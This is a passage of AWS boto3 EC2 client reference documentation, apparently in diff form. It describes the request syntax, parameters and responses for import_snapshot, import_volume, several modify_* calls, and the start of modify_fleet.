**Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +import_snapshot(kwargs_) + +Imports a disk into an EBS snapshot. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportSnapshot) + +**Request Syntax** + +response = client.import_snapshot( + ClientData={ + 'Comment': 'string', + 'UploadEnd': datetime(2015, 1, 1), + 'UploadSize': 123.0, + 'UploadStart': datetime(2015, 1, 1) + }, + ClientToken='string', + Description='string', + DiskContainer={ + 'Description': 'string', + 'Format': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + DryRun=True|False, + Encrypted=True|False, + KmsKeyId='string', + RoleName='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **ClientData** (_dict_) -- + + The client-specific data. + + * **Comment** _(string) --_ + + A user-defined comment about the disk upload. + + * **UploadEnd** _(datetime) --_ + + The time that the disk upload ends. + + * **UploadSize** _(float) --_ + + The size of the uploaded disk image, in GiB. + + * **UploadStart** _(datetime) --_ + + The time that the disk upload starts. + +* **ClientToken** (_string_) -- Token to enable idempotency for VM import requests. +* **Description** (_string_) -- The description string for the import snapshot task. +* **DiskContainer** (_dict_) -- + + Information about the disk container. + + * **Description** _(string) --_ + + The description of the disk image being imported. + + * **Format** _(string) --_ + + The format of the disk image being imported. + + Valid values: VHD | VMDK + + * **Url** _(string) --_ + + The URL to the Amazon S3-based disk image being imported. It can either be a https URL ([https://](https://)..) or an Amazon S3 URL (s3://..). + + * **UserBucket** _(dict) --_ + + The Amazon S3 bucket for the disk image. + + * **S3Bucket** _(string) --_ + + The name of the Amazon S3 bucket where the disk image is located. + + * **S3Key** _(string) --_ + + The file name of the disk image. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Encrypted** (_boolean_) -- Specifies whether the destination snapshot of the imported image should be encrypted. The default CMK for EBS is used unless you specify a non-default AWS Key Management Service (AWS KMS) CMK using KmsKeyId . For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + An identifier for the symmetric AWS Key Management Service (AWS KMS) customer master key (CMK) to use when creating the encrypted snapshot. This parameter is only required if you want to use a non-default CMK; if this parameter is not specified, the default CMK for EBS is used. If a KmsKeyId is specified, the Encrypted flag must also be set. + + The CMK identifier may be provided in any of the following formats: + + * Key ID + * Key alias. The alias ARN contains the arn:aws:kms namespace, followed by the Region of the CMK, the AWS account ID of the CMK owner, the alias namespace, and then the CMK alias. For example, arn:aws:kms:_us-east-1_ :_012345678910_ :alias/_ExampleAlias_ . + * ARN using key ID. The ID ARN contains the arn:aws:kms namespace, followed by the Region of the CMK, the AWS account ID of the CMK owner, the key namespace, and then the CMK ID. For example, arn:aws:kms:_us-east-1_ :_012345678910_ :key/_abcd1234-a123-456a-a12b-a123b4cd56ef_ . + * ARN using key alias. The alias ARN contains the arn:aws:kms namespace, followed by the Region of the CMK, the AWS account ID of the CMK owner, the alias namespace, and then the CMK alias. For example, arn:aws:kms:_us-east-1_ :_012345678910_ :alias/_ExampleAlias_ . + + AWS parses KmsKeyId asynchronously, meaning that the action you call may appear to complete even though you provided an invalid identifier. This action will eventually report failure. + + The specified CMK must exist in the Region that the snapshot is being copied to. + + Amazon EBS does not support asymmetric CMKs. + +* **RoleName** (_string_) -- The name of the role to use when not using the default role, 'vmimport'. +* **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot being imported. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id539)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id541)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Description': 'string', + 'ImportTaskId': 'string', + 'SnapshotTaskDetail': { + 'Description': 'string', + 'DiskImageSize': 123.0, + 'Encrypted': True|False, + 'Format': 'string', + 'KmsKeyId': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Description** _(string) --_ + + A description of the import snapshot task. + + * **ImportTaskId** _(string) --_ + + The ID of the import snapshot task. + + * **SnapshotTaskDetail** _(dict) --_ + + Information about the import snapshot task. + + * **Description** _(string) --_ + + The description of the snapshot. + + * **DiskImageSize** _(float) --_ + + The size of the disk in the snapshot, in GiB. + + * **Encrypted** _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + * **Format** _(string) --_ + + The format of the disk image from which the snapshot is created. + + * **KmsKeyId** _(string) --_ + + The identifier for the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to create the encrypted snapshot. + + * **Progress** _(string) --_ + + The percentage of completion for the import snapshot task. + + * **SnapshotId** _(string) --_ + + The snapshot ID of the disk being imported. + + * **Status** _(string) --_ + + A brief status for the import snapshot task. + + * **StatusMessage** _(string) --_ + + A detailed status message for the import snapshot task. + + * **Url** _(string) --_ + + The URL of the disk image from which the snapshot is created. + + * **UserBucket** _(dict) --_ + + The Amazon S3 bucket for the disk image. + + * **S3Bucket** _(string) --_ + + The Amazon S3 bucket from which the disk image was created. + + * **S3Key** _(string) --_ + + The file name of the disk image. + + * **Tags** _(list) --_ + + Any tags assigned to the snapshot being imported. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +import_volume(kwargs_) + +Creates an import volume task using metadata from the specified disk image.For more information, see [Importing Disks to Amazon EBS](https://docs.aws.amazon.com/AWSEC2/latest/CommandLineReference/importing-your-volumes-into-amazon-ebs.html) . + +For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportVolume) + +**Request Syntax** + +response = client.import_volume( + AvailabilityZone='string', + Description='string', + DryRun=True|False, + Image={ + 'Bytes': 123, + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string' + }, + Volume={ + 'Size': 123 + } +) + +Parameters + +* **AvailabilityZone** (_string_) -- + + **[REQUIRED]** + + The Availability Zone for the resulting EBS volume. + +* **Description** (_string_) -- A description of the volume. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Image** (_dict_) -- + + **[REQUIRED]** + + The disk image. + + * **Bytes** _(integer) --_ **[REQUIRED]** + + The size of the disk image, in GiB. + + * **Format** _(string) --_ **[REQUIRED]** + + The disk image format. + + * **ImportManifestUrl** _(string) --_ **[REQUIRED]** + + A presigned URL for the import manifest stored in Amazon S3 and presented here as an Amazon S3 presigned URL. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + +* **Volume** (_dict_) -- + + **[REQUIRED]** + + The volume size. + + * **Size** _(integer) --_ **[REQUIRED]** + + The size of the volume, in GiB. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ConversionTask': { + 'ConversionTaskId': 'string', + 'ExpirationTime': 'string', + 'ImportInstance': { + 'Description': 'string', + 'InstanceId': 'string', + 'Platform': 'Windows', + 'Volumes': [ + { + 'AvailabilityZone': 'string', + 'BytesConverted': 123, + 'Description': 'string', + 'Image': { + 'Checksum': 'string', + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string', + 'Size': 123 + }, + 'Status': 'string', + 'StatusMessage': 'string', + 'Volume': { + 'Id': 'string', + 'Size': 123 + } + }, + ] + }, + 'ImportVolume': { + 'AvailabilityZone': 'string', + 'BytesConverted': 123, + 'Description': 'string', + 'Image': { + 'Checksum': 'string', + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string', + 'Size': 123 + }, + 'Volume': { + 'Id': 'string', + 'Size': 123 + } + }, + 'State': 'active'|'cancelling'|'cancelled'|'completed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **ConversionTask** _(dict) --_ + + Information about the conversion task. + + * **ConversionTaskId** _(string) --_ + + The ID of the conversion task. + + * **ExpirationTime** _(string) --_ + + The time when the task expires. If the upload isn't complete before the expiration time, we automatically cancel the task. + + * **ImportInstance** _(dict) --_ + + If the task is for importing an instance, this contains information about the import instance task. + + * **Description** _(string) --_ + + A description of the task. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Platform** _(string) --_ + + The instance operating system. + + * **Volumes** _(list) --_ + + The volumes. + + * _(dict) --_ + + Describes an import volume task. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the resulting instance will reside. + + * **BytesConverted** _(integer) --_ + + The number of bytes converted so far. + + * **Description** _(string) --_ + + A description of the task. + + * **Image** _(dict) --_ + + The image. + + * **Checksum** _(string) --_ + + The checksum computed for the disk image. + + * **Format** _(string) --_ + + The disk image format. + + * **ImportManifestUrl** _(string) --_ + + A presigned URL for the import manifest stored in Amazon S3. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + + * **Size** _(integer) --_ + + The size of the disk image, in GiB. + + * **Status** _(string) --_ + + The status of the import of this particular disk image. + + * **StatusMessage** _(string) --_ + + The status information or errors related to the disk image. + + * **Volume** _(dict) --_ + + The volume. + + * **Id** _(string) --_ + + The volume identifier. + + * **Size** _(integer) --_ + + The size of the volume, in GiB. + + * **ImportVolume** _(dict) --_ + + If the task is for importing a volume, this contains information about the import volume task. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the resulting volume will reside. + + * **BytesConverted** _(integer) --_ + + The number of bytes converted so far. + + * **Description** _(string) --_ + + The description you provided when starting the import volume task. + + * **Image** _(dict) --_ + + The image. + + * **Checksum** _(string) --_ + + The checksum computed for the disk image. + + * **Format** _(string) --_ + + The disk image format. + + * **ImportManifestUrl** _(string) --_ + + A presigned URL for the import manifest stored in Amazon S3. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + + * **Size** _(integer) --_ + + The size of the disk image, in GiB. + + * **Volume** _(dict) --_ + + The volume. + + * **Id** _(string) --_ + + The volume identifier. + + * **Size** _(integer) --_ + + The size of the volume, in GiB. + + * **State** _(string) --_ + + The state of the conversion task. + + * **StatusMessage** _(string) --_ + + The status message related to the conversion task. + + * **Tags** _(list) --_ + + Any tags assigned to the task. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +modify_availability_zone_group(kwargs_) + +Changes the opt-in status of the Local Zone and Wavelength Zone group for your account. + +Use [DescribeAvailabilityZones](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeAvailabilityZones.html) to view the value for GroupName . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyAvailabilityZoneGroup) + +**Request Syntax** + +response = client.modify_availability_zone_group( + GroupName='string', + OptInStatus='opted-in'|'not-opted-in', + DryRun=True|False +) + +Parameters + +* **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the Availability Zone group, Local Zone group, or Wavelength Zone group. + +* **OptInStatus** (_string_) -- + + **[REQUIRED]** + + Indicates whether you are opted in to the Local Zone group or Wavelength Zone group. The only valid value is opted-in . You must contact [AWS Support](https://console.aws.amazon.com/support/home#/case/create%3FissueType=customer-service%26serviceCode=general-info%26getting-started%26categoryCode=using-aws%26services) to opt out of a Local Zone group, or Wavelength Zone group. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Is true if the request succeeds, and an error otherwise. + + +modify_capacity_reservation(kwargs_) + +Modifies a Capacity Reservation's capacity and the conditions under which it is to be released. You cannot change a Capacity Reservation's instance type, EBS optimization, instance store settings, platform, Availability Zone, or instance eligibility. If you need to modify any of these attributes, we recommend that you cancel the Capacity Reservation, and then create a new one with the required attributes. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyCapacityReservation) + +**Request Syntax** + +response = client.modify_capacity_reservation( + CapacityReservationId='string', + InstanceCount=123, + EndDate=datetime(2015, 1, 1), + EndDateType='unlimited'|'limited', + DryRun=True|False +) + +Parameters + +* **CapacityReservationId** (_string_) -- + + **[REQUIRED]** + + The ID of the Capacity Reservation. + +* **InstanceCount** (_integer_) -- The number of instances for which to reserve capacity. +* **EndDate** (_datetime_) -- + + The date and time at which the Capacity Reservation expires. When a Capacity Reservation expires, the reserved capacity is released and you can no longer launch instances into it. The Capacity Reservation's state changes to expired when it reaches its end date and time. + + The Capacity Reservation is cancelled within an hour from the specified time. For example, if you specify 5/31/2019, 13:30:55, the Capacity Reservation is guaranteed to end between 13:30:55 and 14:30:55 on 5/31/2019. + + You must provide an EndDate value if EndDateType is limited . Omit EndDate if EndDateType is unlimited . + +* **EndDateType** (_string_) -- + + Indicates the way in which the Capacity Reservation ends. A Capacity Reservation can have one of the following end types: + + * unlimited - The Capacity Reservation remains active until you explicitly cancel it. Do not provide an EndDate value if EndDateType is unlimited . + * limited - The Capacity Reservation expires automatically at a specified date and time. You must provide an EndDate value if EndDateType is limited . +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +modify_client_vpn_endpoint(kwargs_) + +Modifies the specified Client VPN endpoint. Modifying the DNS server resets existing client connections. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyClientVpnEndpoint) + +**Request Syntax** + +response = client.modify_client_vpn_endpoint( + ClientVpnEndpointId='string', + ServerCertificateArn='string', + ConnectionLogOptions={ + 'Enabled': True|False, + 'CloudwatchLogGroup': 'string', + 'CloudwatchLogStream': 'string' + }, + DnsServers={ + 'CustomDnsServers': [ + 'string', + ], + 'Enabled': True|False + }, + VpnPort=123, + Description='string', + SplitTunnel=True|False, + DryRun=True|False, + SecurityGroupIds=[ + 'string', + ], + VpcId='string', + SelfServicePortal='enabled'|'disabled', + ClientConnectOptions={ + 'Enabled': True|False, + 'LambdaFunctionArn': 'string' + } +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint to modify. + +* **ServerCertificateArn** (_string_) -- The ARN of the server certificate to be used. The server certificate must be provisioned in AWS Certificate Manager (ACM). +* **ConnectionLogOptions** (_dict_) -- + + Information about the client connection logging options. + + If you enable client connection logging, data about client connections is sent to a Cloudwatch Logs log stream. The following information is logged: + + * Client connection requests + * Client connection results (successful and unsuccessful) + * Reasons for unsuccessful client connection requests + * Client connection termination time + + * **Enabled** _(boolean) --_ + + Indicates whether connection logging is enabled. + + * **CloudwatchLogGroup** _(string) --_ + + The name of the CloudWatch Logs log group. Required if connection logging is enabled. + + * **CloudwatchLogStream** _(string) --_ + + The name of the CloudWatch Logs log stream to which the connection data is published. + +* **DnsServers** (_dict_) -- + + Information about the DNS servers to be used by Client VPN connections. A Client VPN endpoint can have up to two DNS servers. + + * **CustomDnsServers** _(list) --_ + + The IPv4 address range, in CIDR notation, of the DNS servers to be used. You can specify up to two DNS servers. Ensure that the DNS servers can be reached by the clients. The specified values overwrite the existing values. + + * _(string) --_ + * **Enabled** _(boolean) --_ + + Indicates whether DNS servers should be used. Specify False to delete the existing DNS servers. + +* **VpnPort** (_integer_) -- + + The port number to assign to the Client VPN endpoint for TCP and UDP traffic. + + Valid Values: 443 | 1194 + + Default Value: 443 + +* **Description** (_string_) -- A brief description of the Client VPN endpoint. +* **SplitTunnel** (_boolean_) -- + + Indicates whether the VPN is split-tunnel. + + For information about split-tunnel VPN endpoints, see [Split-Tunnel AWS Client VPN Endpoint](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/split-tunnel-vpn.html) in the _AWS Client VPN Administrator Guide_ . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **SecurityGroupIds** (_list_) -- + + The IDs of one or more security groups to apply to the target network. + + * _(string) --_ +* **VpcId** (_string_) -- The ID of the VPC to associate with the Client VPN endpoint. +* **SelfServicePortal** (_string_) -- Specify whether to enable the self-service portal for the Client VPN endpoint. +* **ClientConnectOptions** (_dict_) -- + + The options for managing connection authorization for new client connections. + + * **Enabled** _(boolean) --_ + + Indicates whether client connect options are enabled. The default is false (not enabled). + + * **LambdaFunctionArn** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Lambda function used for connection authorization. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +modify_default_credit_specification(kwargs_) + +Modifies the default credit option for CPU usage of burstable performance instances. The default credit option is set at the account level per AWS Region, and is specified per instance family. All new burstable performance instances in the account launch using the default credit option. + +> ModifyDefaultCreditSpecification is an asynchronous operation, which works at an AWS Region level and modifies the credit option for each Availability Zone. All zones in a Region are updated within five minutes. But if instances are launched during this operation, they might not get the new credit option until the zone is updated. To verify whether the update has occurred, you can call GetDefaultCreditSpecification and check DefaultCreditSpecification for updates. + +For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyDefaultCreditSpecification) + +**Request Syntax** + +response = client.modify_default_credit_specification( + DryRun=True|False, + InstanceFamily='t2'|'t3'|'t3a'|'t4g', + CpuCredits='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceFamily** (_string_) -- + + **[REQUIRED]** + + The instance family. + +* **CpuCredits** (_string_) -- + + **[REQUIRED]** + + The credit option for CPU usage of the instance family. + + Valid Values: standard | unlimited + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceFamilyCreditSpecification': { + 'InstanceFamily': 't2'|'t3'|'t3a'|'t4g', + 'CpuCredits': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceFamilyCreditSpecification** _(dict) --_ + + The default credit option for CPU usage of the instance family. + + * **InstanceFamily** _(string) --_ + + The instance family. + + * **CpuCredits** _(string) --_ + + The default credit option for CPU usage of the instance family. Valid values are standard and unlimited . + + +modify_ebs_default_kms_key_id(kwargs_) + +Changes the default customer master key (CMK) for EBS encryption by default for your account in this Region. + +AWS creates a unique AWS managed CMK in each Region for use with encryption by default. If you change the default CMK to a symmetric customer managed CMK, it is used instead of the AWS managed CMK. To reset the default CMK to the AWS managed CMK for EBS, use ResetEbsDefaultKmsKeyId . Amazon EBS does not support asymmetric CMKs. + +If you delete or disable the customer managed CMK that you specified for use with encryption by default, your instances will fail to launch. + +For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyEbsDefaultKmsKeyId) + +**Request Syntax** + +response = client.modify_ebs_default_kms_key_id( + KmsKeyId='string', + DryRun=True|False +) + +Parameters + +* **KmsKeyId** (_string_) -- + + **[REQUIRED]** + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + + Amazon EBS does not support asymmetric CMKs. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'KmsKeyId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the default CMK for encryption by default. + + +modify_fleet(kwargs_) + +Modifies the specified EC2 Fleet. + +You can only modify an EC2 Fleet request of type maintain . + +While the EC2 Fleet is being modified, it is in the modifying state. + +To scale up your EC2 Fleet, increase its target capacity. The EC2 Fleet launches the additional Spot Instances according to the allocation strategy for the EC2 Fleet request. If the allocation strategy is lowest-price , the EC2 Fleet launches instances using the Spot Instance pool with the lowest price. If the allocation strategy is diversified , the EC2 Fleet distributes the instances across the Spot Instance pools. If the allocation strategy is capacity-optimized , EC2 Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + +To scale down your EC2 Fleet, decrease its target capacity. First, the EC2 Fleet cancels any open requests that exceed the new target capacity. You can request that the EC2 Fleet terminate Spot Instances until the size of the fleet no longer exceeds the new target capacity. If the allocation strategy is lowest-price , the EC2 Fleet terminates the instances with the highest price per unit. If the allocation strategy is capacity-optimized , the EC2 Fleet terminates the instances in the Spot Instance pools that have the least available Spot Instance capacity. If the allocation strategy is diversified , the EC2 Fleet terminates instances across the Spot Instance pools. Alternatively, you can request that the EC2 Fleet keep the fleet at its current size, but not replace any Spot Instances that are interrupted or that you terminate manually. + +If you are finished with your EC2 Fleet for now, but will use it again later, you can set the target capacity to 0. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyFleet) + +**Request Syntax** + +response = client.modify_fleet( + DryRun=True|False, + ExcessCapacityTerminationPolicy='no-termination'|'termination', + LaunchTemplateConfigs=[ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'